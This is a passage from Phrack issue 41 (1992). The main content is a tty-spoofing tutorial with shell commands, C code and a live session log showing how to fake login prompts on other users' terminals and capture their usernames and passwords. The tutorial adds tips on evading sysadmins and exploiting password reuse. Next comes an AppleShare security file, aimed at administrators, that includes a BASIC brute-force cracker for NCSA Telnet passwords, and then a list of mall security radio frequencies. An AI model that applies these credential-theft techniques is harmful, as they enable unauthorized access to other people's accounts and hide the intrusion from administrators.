user to login. Instead of getting the normal system prompt, the program YOU
installed echoes the standard "login:" prompt, and then after they type in
their username, it prompts them for "<username> password:" and boom, you have a
new account. This can be done by a program or, in many cases, manually.
Of all the people I know, 90 percent of them scream at me saying that this
is impossible because their system doesn't allow read/write access to the tty.
When I make references to tty, I mean the physical device filename or
/dev/ttyxx where xx is either numeric, alphabetic, or alphanumeric characters
(e.g., 03, pa, p4 are all valid). Of all the systems I've been on, I've never
seen one that doesn't allow reading/writing to a LOGIN process. See, the
system doesn't change the tty to owner r/w ONLY until AFTER HIS USERNAME AND
PASSWORD HAS BEEN VERIFIED. Console, or ttyco, is an exception where the perms
are ALWAYS -rw------.
Now that you know WHAT tty spoofing is and the general idea behind WHY it
works, I'll start to tell you the many ways it can be done.
In order to tty spoof, you MUST have at least ONE valid account on the
system. You can obtain the account via a little social engineering, or you
could try a /who *sitename in the IRC to get nicknames and use their username
and try to hack out the password. Try looking for users in #hottub and other
st00pid channels because they are the ones who would tend to have the easy
passwords. Or use any other method that you can think of to obtain an account.
Once you have an account, the rest is the easy part. Simply create a
script in vi or emacs that redirects input from UNUSED tty's to cat. Since you
are cat's standard output, everything coming FROM the monitored tty will come
to your screen. You probably want to watch about 10 or 15 terminals. An
example script would be:
cat </dev/tty01&
cat </dev/tty02&
cat </dev/ttypa&
cat </dev/ttyp1&
Then you want to just run your script with source. Once a user walks up
to a terminal (or remotely logs in via telnet, etc.), they will try to press
return and attempt to get a login prompt. Many users will also type their
username, thinking that the system is just waiting for it. Make sure you write
down the username. After a while, they will probably start pressing control
characters, like control-d or z or whatever. Here's the problem: when CAT
encounters the ^D, it thinks that it is receiving an EOF in the file and it
thinks its job is done. You'll get something to the effect of:
[2] Exit DONE cat </dev/tty01
or
[2] Exit 1 cat:i/o error cat </dev/tty01
You want to IMMEDIATELY (if not sooner) "recat" that terminal. Once you get
that DONE signal, you now know WHAT terminal is active. You want to then type
something to the effect of 'echo -n "login:" >/dev/tty01&'. The & is important
because if the user decided to switch terminals, echo could lock up and freeze
your control on the account. If after about 10 seconds echo doesn't come back
as:
[5] Exit DONE echo -n login: >/dev/tty01
KILL the process. When you ran the echo command, the shell gave you a
processid. Just type KILL processid. If the done echo line DOES come back,
that means that it was successfully printed on the user's screen. He will then
type in his username. WRITE THIS DOWN. If you are ever in doubt that the word
on your screen is a username, type 'grep word /etc/passwd' and if a line comes
up, you know it's valid. If grep doesn't return anything, still keep it
because it might be a password. Then wait about 2 seconds, and type
'echo -n "<username> password:" >/dev/tty01&' again using the & to prevent
lockage. If that command doesn't come back in about 10 seconds, kill the
process off and you can assume that you lost the user (e.g. he moved to another
terminal). If the done echo line DOES come back, then in about 2 seconds, you
SHOULD see his password come up. If you do, write it down, and boom, you have
a new account.
This may seem like a time consuming process and a lot of work, but
considering that if you have macros with the "cat </dev/tty" command and the
echo -n commands preset, it will be a breeze. Okay - so you say to yourself,
"I'm a lazy shit, and just want passwords to be handed to me on a silver
platter." With a little bit of work, you can do that! Below is a few lines of
C source code that can be used to automate this process. Anyone who knows C
should be able to put something together in no time.
#include <stdio.h>
FILE *fp, *fp2;
char username[10], password[10];
main()
{
fp=fopen("/dev/ttyp1", "r");
fp2=fopen("/dev/ttyp1", "w");
fprintf(fp2, "login:");
fscanf(fp, "%s", &username);
/* Put delay commands in here */
fprintf(fp2, "%s password:", username);
fscanf(fp, "%s", @password);
printf("Your new account info is %s, with password %s.", username,
password);
}
This is a VERY basic setup. One could fairly easily have the program take
arguments from the command line, like a range of tty's, and have the output
sent to a file.
Below is an actual session of manual tty spoofing. The usernames and
passwords HAVE been changed because they will probably be active when you read
this. Some c/r's and l/f's have been cut to save space. Please notice the
time between the startup and getting a new account is only seven minutes.
Using this technique does not limit the hacked passwords to dictionary
derivatives like Crack and other programs.
source mycats ; This file contains cats
; for terminals tty03 - tty10
[1] 29377
/dev/tty03: Permission denied ; All this means is that someone is logged
in
; and has their mesg set to NO. Ignore it.
[1] Exit 1 cat < /dev/tty03
[2] 29378
[3] 29379
/dev/tty06: Permission denied
/dev/tty05: Permission denied
[4] Exit 1 cat < /dev/tty06
[3] Exit 1 cat < /dev/tty05
/dev/tty07: Permission denied
[3] Exit 1 cat < /dev/tty07
/dev/tty08: Permission denied
[3] Exit 1 cat < /dev/tty08
[2] + Stopped (tty input) cat < /dev/tty04 ;This was the terminal I
was
;on - it's automatically
;aborted...
[3] 29383
<5:34pm><~> /dev/tty09: Permission denied
[3] Exit 1 cat < /dev/tty09
<5:34pm><~> source mycats2 ;This one contains 34 - 43
[3] 29393
[4] 29394
[5] 29395
[6] 29396
[7] 29397
[8] 29398
[9] 29399
/dev/tty36: Permission denied
/dev/tty37: Permission denied
/dev/tty38: Permission denied
/dev/tty39: Permission denied
/dev/tty40: Permission denied
/dev/tty34: Permission denied
/dev/tty35: Permission denied
[9] Exit 1 cat < /dev/tty40
[8] Exit 1 cat < /dev/tty39
[7] Exit 1 cat < /dev/tty38
[6] Exit 1 cat < /dev/tty37
[5] Exit 1 cat < /dev/tty36
[4] Exit 1 cat < /dev/tty35
[3] Exit 1 cat < /dev/tty34
[1] 29400
[3] 29401
[4] 29402
<5:34pm><~> /dev/tty41: Permission denied
[1] Exit 1 cat < /dev/tty41
/dev/tty43: Permission denied
[4] Exit 1 cat < /dev/tty43
/dev/tty42: Permission denied
[3] Exit 1 cat < /dev/tty42
<5:34pm><~> source mycats3 ;This contains p1-pa
[3] 29404
[4] 29405
[5] 29406
[6] 29407
[7] 29408
/dev/ttyp1: Permission denied
/dev/ttyp3: Permission denied
/dev/ttyp5: Permission denied
/dev/ttyp6: Permission denied
[8] Exit 1 cat < /dev/ttyp6
[7] Exit 1 cat < /dev/ttyp5
[5] Exit 1 cat < /dev/ttyp3
[3] Exit 1 cat < /dev/ttyp1
[7] 29410
[8] 29411
[9] 29412
[1] 29413
<5:34pm><~> /dev/ttyp7: Permission denied
[7] Exit 1 cat < /dev/ttyp7
/dev/ttypa: Permission denied
[1] Exit 1 cat < /dev/ttypa
<5:34pm><~> source mycats4 ;Last one is q0-qa
[1] 29426
[3] 29427
[5] 29428
[7] 29429
[10] 29430
[11] 29431
/dev/ttyq5: Permission denied
[10] Exit 1 cat < /dev/ttyq5
[12] 29432
[10] 29433
[13] 29434
[14] 29435
<5:34pm><~> who
<5:34pm><~> nnnnnnnnrlogin unx ; He thought he didn't type it right.
pigsnort ; Important! Write down ALL non-
; system sent messages!
<5:35pm><~>
grep pigsnort /etc/passwd ; Check with grep to see if it's an
; account.
<5:35pm><~> ; Didn't return anything - must be a
; a password!
nnnpptst8 ; Sure looks like an account name to
nnnnn===== ; me! Write it down!
ls
[8] Done cat < /dev/ttyp8 ; Asshole pressed control-d.
; 'recat' the terminal!
<5:36pm><~> cat < /d e v/ ttyp8& ; This is the 'recat.'
[8] 29459
<5:36pm><~> cat: read error: I/O error ; Asshole is now trying all
; sorts of control characters
; sending UNIX into a fit.
[4] Exit 1 cat < /dev/ttyp2
<5:36pm><~> cat </dev/ttyp2& ; 'recat' it!
[4] 29465
<5:36pm><~>
<5:36pm><~>
[6] Done cat < /dev/ttyp4 ; Someone had to press the
; character, so this is active.
<5:36pm><~> cat </dev/ttyp4& ; 'recat' the ctrl-d.
[6] 29468
<5:36pm><~> echo -n "login:" >/dev/ttyble1 ; Try echo'ing a fake login
cat: read error: I/O error ; to the active terminal.
[6] Exit 1 cat < /dev/ttyp4
poop4d ; Here goes another password.
p4 ; Couldn't find the matching
& ; account.
[6] 29470
<5:37pm><~> cat: read error: I/O error
[4] Exit 1 cat < /dev/ttyp2
<5:37pm><~> cat </dev/ttyp2&
[4] 29489
<5:37pm><~> echo -n "login:" >/dev/ttyp2& ; Try echo'ing a fake login
; prompt again.
[15] 29490
<5:37pm><~> kill 29490 ; Login prompt didn't return
; within a few seconds so we
; kill it.
[15] Terminated echo -n login: > /dev/ttyp2
<5:37pm><~> cat </dev/tty
echo -n "login:" >/dev/ttyp4&
[15] 29491
<5:38pm><~> kill 29491
<5:38pm><~> grep pptst8 /etc/passwd ; Make sure it's an account!
pptst8:X:58479:4129:People Eater:/ucuc.edu/usr/pptst8:/bin/bash
<5:38pm><~> grep ble1 /etc/passwd ; This isn't an account...
<5:39pm><~> grep poop4d /etc/passwd ; Neither is this - probably
; a password...
<5:39pm><~> who ; See if any of the users we
; caught fell through an
; 'uncatted' terminal...
<5:39pm><~> ps -x ; View all our processes.
; DAMN glad that the cat's
PID TT STAT TIME COMMAND ; don't come up in the process
29266 04 S 0:04 -tcsh (tcsh) ; list!
29378 04 T 0:00 cat
29412 04 I 0:00 -tcsh (tcsh)
29426 04 I 0:00 -tcsh (tcsh)
29427 04 I 0:00 -tcsh (tcsh)
29428 04 I 0:00 -tcsh (tcsh)
29429 04 I 0:00 -tcsh (tcsh)
29431 04 I 0:00 -tcsh (tcsh)
29432 04 I 0:00 -tcsh (tcsh)
29433 04 I 0:00 -tcsh (tcsh)
29434 04 I 0:00 -tcsh (tcsh)
29435 04 I 0:00 -tcsh (tcsh)
29459 04 I 0:00 -tcsh (tcsh)
29470 04 D 0:00 <exiting>
29489 04 I 0:00 -tcsh (tcsh)
29491 04 D 0:00 -tcsh (tcsh)
29547 04 R 0:00 ps -x
<5:40pm><~> kill 29378 29412 29426 29427 29428 29429 29431 29432 29433 29434 29
435 29459 29470 29489 289491 ;Kill off all processes.
29470: No such process
[4] Terminated cat < /dev/ttyp2
[8] Terminated cat < /dev/ttyp8
[14] Terminated cat < /dev/ttyqa
[13] Terminated cat < /dev/ttyq9
[10] Terminated cat < /dev/ttyq8
[12] Terminated cat < /dev/ttyq7
[11] Terminated cat < /dev/ttyq6
[7] Terminated cat < /dev/ttyq4
[5] Terminated cat < /dev/ttyq3
[3] Terminated cat < /dev/ttyq2
[1] Terminated cat < /dev/ttyq1
[9] Terminated cat < /dev/ttyp9
[2] Terminated cat < /dev/tty04
<5:41pm><~>
[15] Terminated echo -n login: > /dev/ttyp4
[6] Done echo -n login: > /dev/ttyp4
<5:41pm><~> ps -x
PID TT STAT TIME COMMAND
29266 04 S 0:04 -tcsh (tcsh)
29594 04 R 0:00 ps -x
<5:41pm><~> logout
Local -011- Session 1 disconnected from UNIX1
Local> c unx ; Notice it's a different
; system but shares passwords.
Local -010- Session 1 to UNX on node MYUNX established
Welcome to ucuc.edu.
login: ble1 ; Test out all the accounts
ble1 password: [I tried poop4d] ; with all the passwords.
Login failed.
login: pptst8
pptst8 password: [I tried poop4d here too.]
Login failed.
login: pptst8
pptst8 password: [I typed pigsnort]
Authenticated via AFS Kerberos. ; BINGO! We're in!
Checking system rights for <pptst8>... login permitted.
login 1.0(2), Authen
Last login: Fri Jul 17 17:33:30 on tty11
(1) unix $ ls ; Let's see what this sucker
; has...hmm...an IRC user, eh?
Mail Mailbox News bin irc other junk private
public
(2) unix $ logout
Local -011- Session 1 disconnected from UNX
A few words of advice: Monitor the tty's when it's the busiest time of
the day, usually about 11am on a university system. Kill all your processes
before you hang up. Those processes that you run will sit on the system and
can be found by sysadmins. Also, they will tie up those tty's that you are
monitoring, which can also cause problems. Point is, you DON'T want to attract
attention to what you're doing. Don't test the accounts you get immediately.
If the victim happens to be doing a 'who' and sees two of himself, he is going
to shit. Wait until later or use a different subsystem that won't show up on
his 'who'.
Don't take over accounts. All the real user has to do is call up the office
and tell them that their password was changed. In two seconds, it'll be
changed back, plus the sysadmin will be on the lookout so you're just one step
BEHIND where you started. Once you have someone's account info, kill the cat
that is sucking the terminal so that the user can log in normally. If he
continues not to get ANYTHING, he may go and solicit some "professional" help,
and THEY might know what's going on, so let the sucker log in. Another thing:
with accounts you get.
DO NOT DESTROY ANYTHING in the system, not in their account, and no where else
if you get higher privs. Chances are that the person is NOT going to know
someone has obtained their password, and will have NO reason to change it.
Wait until his college term/semester ends and then monitor the file dates. If
after about a month the dates don't change, change the password and do whatever
you want to the account because he's probably done with it.
Oh and one last thing. Once you have a valid account, grep the username and
get the REAL name. Then grep the REAL name and find out all accounts on the
system that the guy owns. Chances are that he is using the same password in
multiple accounts!
Thanks go to Pointman, #hack members, and the entire current/past Phrack staff
for putting out an excellent magazine over the years.
If you need to contact me, try the IRC in #hack and the VMB world. I usually
prefer NOT to be contacted by e-mail, but if you have my address and have an
important question, go for it. I'm willing to help any beginners who need it.
Happy Hacking!
VaxBuster '92
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 9 of 13
- = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = -
Security Shortcomings of AppleShare Networks
By Bobby Zero
November 28, 1992
- = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = -
The purpose of this file is to inform all those underpaid Mac network
administrators or other interested parties of the problems with Macintosh
AppleShare and how to address those problems. AppleShare is quite respectable
in both its implementation and usage, blending seamlessly with the Macintosh OS
such that the casual user has no idea of the complexity behind the elegance.
For all its elegance, however, it does have some severe drawbacks in terms of
security-- nearly all of which are fixable, requiring a combination of common
sense and RTFM: Read The Fucking Manual.
This is in no way to be considered as a "How To" for persons of
questionable ethics and/or motives. That being said, however, I feel the
following is in order:
PROSECUTOR: [To WITNESS] ...And you are?
WITNESS: Miss America.
[Singing]
PROSECUTOR: Would you please tell the court why you feel Fielding Mellish is a
traitor to this country?
WITNESS: I feel that Fielding Mellish is a traitor to this country because his
views are different from the views of the President, and others of his kind.
Differences of views should be tolerated, but not when they are too different.
Then he becomes a subversive mother.
-- Woody Allen, "Bananas"
This file is divided into 5 sections: (1) the "AppleShare Prep" file,
(2) the "AShare File Srv" application, (3) Mixing VAXens & AppleShare, (4)
System 7 FileSharing, and (5) NCSA Telnet weaknesses. The fifth does not
particularly relate to AppleShare, but its security can be exploited via method
#4, so I thought to include it.
If there is sufficient interest, I will make a "Part II" [or three or
four or five..] detailing more problems. Send feedback to Phrack Loopback;
being a regular reader, I will respond accordingly. While writing this, I was
unsure of the approach -- either bland technical or "gh0d-these-people-
are-dumb" statements. I decided to just combine them, chao-like. Well, enough
of my rambling. On with the file!
- = - = - = - = -
THE "APPLESHARE PREP" FILE
~~~ ~~~~~~~~~~ ~~~~ ~~~~
(1) The "AppleShare Prep" file under both System 6 and 7 contains a BMLS
resource; this resource contains various information required to mount a volume
on startup. While this is an optional feature, many people choose it either by
accident or for convenience.
* The downside to this convenience is the fact that the user's name and
password for a server are stored in this file. Anyone with a copy of ResEdit
can open this file up, and view the BMLS resource.
* It's so easy to create a Trojan horse and slip it into a program or Hypercard
stack to copy the BMLS resource from the target's AppleShare Prep file and copy
it into a hidden file on the server drive where it can be retrieved at a later
date. If Mr. Ed is well-written, he would be nearly undetectable as it takes
but an eyeblink to copy the rez. Trojan horses aren't as sexy as viruses and
don't get much publicity, but it is exceedingly easy to fool a Macintosh user
[or any user, for that matter] into running something he or she shouldn't.
HOW TO SOLVE: Educate users of this flaw and urge them to log into the file
server manually. If computers in an open lab setting are used, configure them
to automatically log in as a guest, thereby circumventing the entire issue of
passwords entirely. Encryption of the BMLS resource is entirely up to Apple or
someone with enough knowledge of AppleShare to write a patch -- certainly not
me [yet...].
THE "ASHARE FILE SRV" SERVER
~~~ ~~~~~~ ~~~~ ~~~ ~~~~~~
(2) On AppleShare File Servers running v2.0:
* The file "Users & Groups" within the Server/System Folder contains the data
required for maintaining folder privileges & ownership. It also contains
user's names and passwords, in an unencrypted format. While obtaining this
file would be somewhat difficult [one must physically be able to access the
server: shut it down, restart it with a floppy, copy the file, reboot the
machine], the "rewards" would be considerably worthwhile, as one would now have
a copy of every user name and password, including that of the Administrator.
Once physical access is secured, one could conceivably write a program to
install on the server that would periodically make a copy of the file and put
it on the "server" side of the disk, and give it an innocuous name... an INIT
which would perform on every startup, or install a Time Task to do it daily, or
even going so far as to patch the AppleShare Admin program to update this file
every time a user is added or modified. It is also common knowledge that users
use the same passwords on different machines; armed with a list of names &
passwords for one machine, one could then enter another computer with the same
user/pass combination.
* There is no automatic lockout for users who enter an incorrect password. With
a bit o' knowledge and a copy of "Inside AppleTalk," a program could be written
that could use a dictionary of common passwords in conjunction with a list of
user names to try to manually "hack out" a valid user/password combination.
The speed of this varies greatly on the speed of and load on the server, the
speed of and load on the network, and the speed of the "attacking" computer. A
typical "hack" can take anywhere from .5 to 5 seconds, but there is no need to
tie up the attacking computer for that period of time; the program can use both
asynchronous AFPCommand calls and exist under Multifinder to allow for complete
"background hacking." It should be noted, however, that Apple has incorporated
a lockout into the hideously overpriced AppleShare 3.0 -- its hardware
requirements, however, seem to leave it out of the budgets of most sane
individuals.
* A group of individuals armed with the above program could go into a computer
lab, fire up said program, and then launch a word processing application and
seem to be doing homework while in reality they would be hacking passwords.
* The "Copy Protect File" in AppleShare Admin disallows using the Finder to
copy a "Protected" program. That does not deter, however, a "normal" copy
program such as DiskTop from copying the file. [That is about as lame as the
ol' "Bozo Bit."]
HOW TO SOLVE: Insure that physical access to the fileserver is impossible for
all but trusted persons. Upgrade to AppleShare 3.0 [$$ gag $$], which allows
"locking" of accounts after a certain number of bad attempts, or obtain a
logging program to keep track of invalid attempts and origins, then track down
the offenders. There's no way to stop the violation of the "Copy Protection"
-- it deters only those easily dismayed. All I can suggest is you keep your
non-PD programs away from Guests or other "non-trusted" persons.
VAXSHARE, PCLINK, AND OTHER VAX/APPLESHARE SERVER APPS
~~~~~~~~~ ~~~~~~~ ~~~ ~~~~~ ~~~ ~~~~~~~~~~ ~~~~~~ ~~~~
(3) There are various forms of AppleShare that can be run from a VAX; many
versions of these programs have severe flaws which can also be exploited.
* The prime example is the existence of "default" accounts: while "Guest"
logins might be disallowed, logging in as DEFAULT, password USER has been known
to be effective in "getting in" -- even FIELD, SERVICE has worked. Pathetic,
isn't it, that these guys haven't picked up on these things?
* The existence of a VAXShare [or similar] account used for AppleShare access
can oft times be used to access the VAX. For instance, if one is aware that a
VAX is being used in an open lab as an AppleShare File Server, one can use
method #1 to extract a username/password combination from the Prep file and use
that password to gain entrance to the VAX.
HOW TO SOLVE: Disallow interactive logins on the VAX-side of the account and
disable or repassword all "default" accounts. If your version of
VAX/AppleShare requires an interactive login, have a "special" program be run
whenever the user logs in, recording the date, time, and origin of login before
disconnecting.
SYSTEM 7 FILE SHARING
~~~~~~ ~ ~~~~ ~~~~~~~
(4) With the advent of System 7.0 and "File Sharing," many users simply put
their machines "on the net" without taking proper measures to disallow
unauthorized access to their machine. Several people turn Sharing on while
their drive is selected, unwittingly allowing others to read, write, copy,
delete, or modify the information on the drive. Oddly enough, by default, the
"Trash" folder is locked out, while the System Folder is, by default, left wide
open. A major oversight on Apple's part... I suppose it was to discourage the
perceived threat of "digital dumpster diving" ...? Even I cannot fathom that
one.
* Many times the "System Folder" is left unprotected, meaning various system
resources can be copied or modified. One can leech the AppleTalk Remote Access
files, any Timbuk2 or Timbuk2/Remote programs, etc. and use them to further
penetration.
* The "Users & Groups" file can be copied, then modified "at home" by a user
running 7.0 [or by the attacking machine, if it is running 7.0] -- adding
another "owner" account, for instance, to act as a "back door" in the event
guest privileges are locked out by a wiser individual.
* The integrity of important files can be challenged; the System file can have
resources moved in and out of it by the attacking computer -- one of these
resources could be a virus, a Trojan horse, or a really stupid font [like New
York -- ugh!].
* The disk is usually populated by copyrighted software; one could easily make
pirated copies of that software.
* The disk may be home to personal or otherwise "private" files -- files that
can be read, copied, deleted, or even modified. There was an instance in which
a file on a shared folder was found to contain user names and passwords to a
UNIX box on the campus network... incredibly foolish. Fortunately, the proper
persons were informed and the files were moved to a [presumably] safer
location.
* The attacker could have a malicious streak and choose to delete all that he
sees.
HOW TO SOLVE: Take a giant wooden plank and soundly whack all offending users.
Tell them of the intelligent way to use filesharing, and inform them that
*anyone* can go in and read their resume, love notes, financial info, erotic
poetry, etc.. that usually gets their attention. Tell them to, instead of
sharing the entire hard drive, create a folder and entitle it "Shares" or
something appropriately witty; then select the folder and go to "Sharing..."
To further security, disallow the <Any User> (Guest) logins. To better keep
track of who's using the Macintosh, keep the "File Sharing Monitor" open or get
a program like NokNok which notifies you when someone is using your Mac.
NCSA TELNET
~~~~ ~~~~~~
5) The NCSA Telnet application allows a user to use his or her Mac as a telnet
client and wander around the Internet. NCSA Telnet also handles incoming FTP
requests. While this FTP function is easily disabled, many users keep it on
because they either use it regularly or don't even know it exists.
* Anyone with a valid username/password can log in to the Mac via FTP and then
change to the "root" directory and perform the normal FTP functions.. both send
and receive. This means that *every* file on the Mac can be accessed from
*anywhere* on the Internet. It should be noted that NCSA Telnet does not log
the "who & where" information, meaning there is no log of who used the machine,
meaning there is no way for an intruder to be "caught."
* The file "ftppass" contains the list of users allowed to use FTP on that
Macintosh. If, by using one of the methods mentioned above, someone is able to
access it, it is easily cracked as it has a rather pathetic encryption scheme:
the data fork contains the user's name, a colon, and then an encrypted
password. The password is easily decrypted; unless it is the entire 10
characters, the last few characters are in order. That is, the next ASCII code
is 1 + the previous, etc. Observe this from my "ftppass" file:
sample:ucetcr&'()
The first part, "sample," is the user's name. The colon is the basic UNIX-like
delimiter, the rest is the password. The "real" part of the password is the
characters "ucetcr" ... the remaining "&'()" are just spaces... how do you
tell? It's in ASCII order. Look up "&" on an ASCII chart and "'" will follow,
then "(" then ")" .. you get the idea.
This password can be discovered by short program XORing the encrypted
characters with a number between 0 and 255. The program can either a) dump all
XOR results or b) if the password is not the maximum length, the program can
simply scan for a "space" [ASCII 032 decimal] in the password and print it.
The following "cracking" program is written in BASIC [hey, does anyone use that
any more?] and will allow you to decrypt the passwords. If you can tell that
the password has spaces at the end, you can go ahead and delete line 110.
Otherwise, leave that line in and use your brain [remember your brain?] to
determine if the encrypted goop is a "real" word or just goop.
5 REM "ftppass" brute-force hacker
10 INPUT "Encrypted password:";I$
20 FOR X=1 TO 255
30 FOR Y=1 TO LEN(I$)
40 Y$=MID$(I$,Y,1)
50 YA=ASC(Y$)
60 N=X XOR YA
70 IF N=32 THEN F=1
80 N$=N$+CHR$(N)
90 NEXT Y
100 IF F THEN ?"Possible password:"N$
110 ?I$" 'encrypts' to "N$: REM U can delete this line if len<10
120 N$="":F=0
130 NEXT X
140 ?"Finished."
Sample run: [with line 110 deleted]
Encrypted password:ucetcr&'() [gotta type the whole thing]
Possible password:secret !./ [boy, that was tough!]
Possible password:rdbsdu! /.
Possible password:}km|kz./ ! [etc.. just smack ^C at this point.]
So the password is "secret" [clever, no?]
It should be noted that this program is rather inelegant as I haven't really
reversed the algorithm, just written a brute-force "hacker" for it. This is
due to laziness on my part. If I really wanted to do this properly, I would
FTP to the NCSA anonymous site and leech the 700k+ of source and "reverse" it
thataway. I don't feel like doing that. I am lazy. This program works just
dandy for me... [I suspect the encryption program uses the users' name to
encrypt it, but I don't care enough to find out.]
I should say that I don't wish to offend the makers of NCSA Telnet or call the
application crap. It is, indeed, an impressive piece of work; I simply feel
that there are some aspects of it which could use improvement... if not in
terms of security, then at least allowing the user to save selections to disk!
BTW- I know that NCSA Telnet is also available for the IBM. I haven't tested
these with an IBM, but if it's a "true" port, these flaws should exist under
the IBM version as well.
- = - = - = - = -
Well, that does it. If you're a network coordinator and you're *still* sitting
on your skinny ass after reading this, get the hell up and fix the problems.
Don't be surprised to find someone running anonymously through your net,
leeching files and generally contributing to moral laxity ... I've seen it
before -- it's not a pretty sight.
And of course, if you run a network of any sort, you must encourage users to
use different passwords on different machines and passwords that don't exist in
a dictionary [gh0ds are we sick of hearing that!].. it will work wonders for
security. Every hacker knows the number of people who use ONE password to all
of their different accounts is unbelievably high... and they make very good use
of this oversight.
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 10 of 13
| |
_o # Mall Cop Frequencies # o_
/()/~ ~/()\n ~\ by Caligula XXI //~
|| ||
~~ ~~
THIS ONE IS DEDICATED TO THE DC 2600 MEETING
Living in America, one can easily and falsely assume that there really is a
Bill of Rights. On November 6, 1992, the right to peaceably gather was
suspended. Even though the U.S. Supreme Court ruled that shopping malls are
"public meeting places" and not private property, it doesn't make a damn bit of
difference to pigs. So here is a little information that may help you keep an
eye on them while they are so preoccupied with us.
If your shopping mall is not listed below, try scanning (MHz):
151.625 to 151.955 154.515 to 154.60
457.5125 to 457.6125 460.65 to 462.1875
462.75 to 462.775 463.20 to 464.9875
465.65 to 467.1875 467.75 to 467.925
468.20 to 469.975 851.0125 to 865.9875
Following the shopping mall list is a list of nationwide stores and their
security frequencies.
__________________________________________________________
/ ST City Mall Freq. MHz \n|==========================================================|
| AK | Anchorage | Northway Mall | 461.775 |
| AL | Birmingham | Century Plaza | 464.875 |
| AL | Mobile | Belair Mall | 464.875 |
| AL | Montgomery | Montgomery Mall | 466.0625 |
| AZ | Phoenix | Metrocenter | 464.475 |
| AZ | Phoenix | Paradise Valley Mall | 464.375 |
| AZ | Tucson | Foothills Mall | 464.575 |
| CA | Bakersfield | Valley Plaza Shop Cent| 154.57 |
| CA | Canoga Park | Topanga Plaza | 154.54 |
| CA | Los Angeles | Century City Center | 461.025 |
| CA | Oxnard | Center Points Mall | 464.475 |
| CA | San Francisco | Embarcardero Center | 854.8375 |
| CO | Boulder | Crossroads Mall | 468.7875 |
| CO | Denver | Laksie Mall | 464.375 |
| CT | Hartford | Northeast Plaza | 464.375 |
| | | | 464.675 |
| | | | 464.80 |
| | | | 464.95 |
| CT | Danbury | Fair Mall | 464.675 |
| DC | Washington | Montgomery Mall | 463.25 |
| DC | Washington | Renaissance Plaza | 463.375 |
| FL | Jacksonville | Gateway Mall | 461.025 |
| FL | Miami | South Date Plaza | 461.675 |
| FL | Ft. Charlotte | South Port Square | 154.54 |
| FL | Tallahassee | Tallahassee Mall | 461.20 |
| | | | 463.60 |
| FL | Tampa | W. Shore Plaza | 461.9125 |
| GA | Atlanta | Piedmont Center | 464.525 |
| | | | 464.5875 |
| GA | Atlanta | Peachtree Center | 461.825 |
| HI | Pearl City | Century Park Plaza | 464.225 |
| IA | Des Moines | Merel Hay Mall | 154.54 |
| | | | 154.57 |
| IA | West Burlington | Southridge Mall | 464.675 |
| IL | Springfield | The Center | 464.925 |
| IL | Chicago | Ford City Center | 464.775 |
| | | | 464.975 |
| IL | Aurora | Fox Valley Center | 464.675 |
| IN | Ft. Wayne | Glenbrook Square | 464.575 |
| | | | 464.875 |
| IN | Indianapolis | Lafayette Square | 461.025 |
| KS | Manhattan | Manhattan Tower Center| 463.525 |
| KS | Kansas City | Bannister Mall | 464.575 |
| | | | 464.675 |
| KY | Lexington | Fayette Mall | 462.1125 |
| KY | Louisville | Oxmoor Center | 464.8125 |
| LA | New Orleans | World Trade Center | 463.25 |
| LA | Shreveport | Mall St. Vincent | 464.675 |
| MA | North Attleboro | Emerald Square Mall | 461.725 |
| MA | Boston | World Trade Center | 461.9125 |
| | | | 461.9375 |
| | | | 461.9625 |
| | | | 462.1625 |
| | | | 464.80 |
| MA | Boston | Copley Plaza | 154.60 |
| MA | Watertown | Arsenal Mall | 464.95 |
| MD | Baltimore | Eastpoint Mall | 151.805 |
| MD | Greenbelt | Beltway Plaza Mall | 151.925 |
| MI | Ann Arbor | Briarwood Mall | 462.05 |
| | | | 462.575 |
| MI | Detroit | Renaissance Center | 151.955 |
| | | | 462.60 |
| | | | 462.7625 |
| MI | Grand Rapids | Woodland Center | 464.475 |
| | | | 464.5375 |
| MN | Rochester | Center Place | 464.475 |
| | | | 464.5375 |
| MO | Kansas City | Banister Mall | 464.575 |
| | | | 464.675 |
| MO | St. Louis | Galleria | 461.9125 |
| | | | 462.0875 |
| | | | 462.8625 |
| MS | Tupelo | Mall @ Barnes Cross | 464.60 |
| MT | Billings | West Park Plaza | 464.775 |
| NC | Raleigh | North Hills Mall | 464.575 |
| NC | Wilmington | Independence Mall | 464.7875 |
| ND | Great Forks | Columbia Mall | 463.60 |
| NE | Freendale | Southridge Mall | 464.525 |
| NE | North Platte | The Mall | 461.425 |
| NH | Newington | Foxrun Mall | 463.975 |
| | | | 464.225 |
| NH | Nashua | Pheasant Lane Mall | 464.95 |
| NJ | Atlantic City | Ocean One Mall | 461.90 |
| NJ | Short Hills | Mall @ Short Hills | 464.825 |
| NJ | New Brunswick | Fashion Plaza | 464.475 |
| NV | Reno | Park Lane Mall | 464.05 |
| NY | Colonie | Northway Mall | 461.6875 |
| NY | Mineola | Roosevelt Field | 462.725 |
| NY | Massapequa | Sunrise Mall | 151.865 |
| | | | 464.465 |
| NY | Mt. Vernon | Cross Country Center | 154.57 |
| | | | 154.60 |
| NY | New York | Gateway Plaza | 464.825 |
| NY | Lake Grove | Smithaven Mall | 154.60 |
| OH | Columbus | Northland Mall | 463.625 |
| | | | 464.925 |
| OH | Cleveland | Randall Park | 461.425 |
| OH | Youngstown | Southern Park Mall | 461.50 |
| OK | Broken Arrow | Woodland Hills Mall | 461.075 |
| | | | 469.675 |
| OK | Oklahoma City | North Park Mall | 464.7875 |
| OR | Eugene | Gateway Mall | 461.125 |
| OR | Portland | Washington Square Mall| 464.475 |
| PA | Media | Granite Run Mall | 464.325 |
| PA | Pittsburgh | Century III | 464.325 |
| | | | 464.375 |
| | | | 464.975 |
| PA | Pittsburgh | Parkway Center Mall | 464.6875 |
| RI | Newport | Mall @ Newport | 461.575 |
| SC | Columbia | Columbia Mall | 462.1125 |
| SC | Spartanburg | Westgate Mall | 151.955 |
| TN | Knoxville | East Town Mall | 463.3375 |
| TN | Memphis | Mall of Memphis | 464.975 |
| TN | Nashville | Bellevue Center | 464.825 |
| TX | San Antonio | Wonderland Mall | 467.875 |
| | | | 469.9125 |
| TX | Dallas | World Trade Center | 464.375 |
| | | | 464.875 |
| TX | Fort Worth | Plaza Forth Worth | 461.85 |
| | | | 464.55 |
| TX | Houston | West Oaks Mall | 462.1125 |
| | | | 464.3875 |
| | | | 464.4875 |
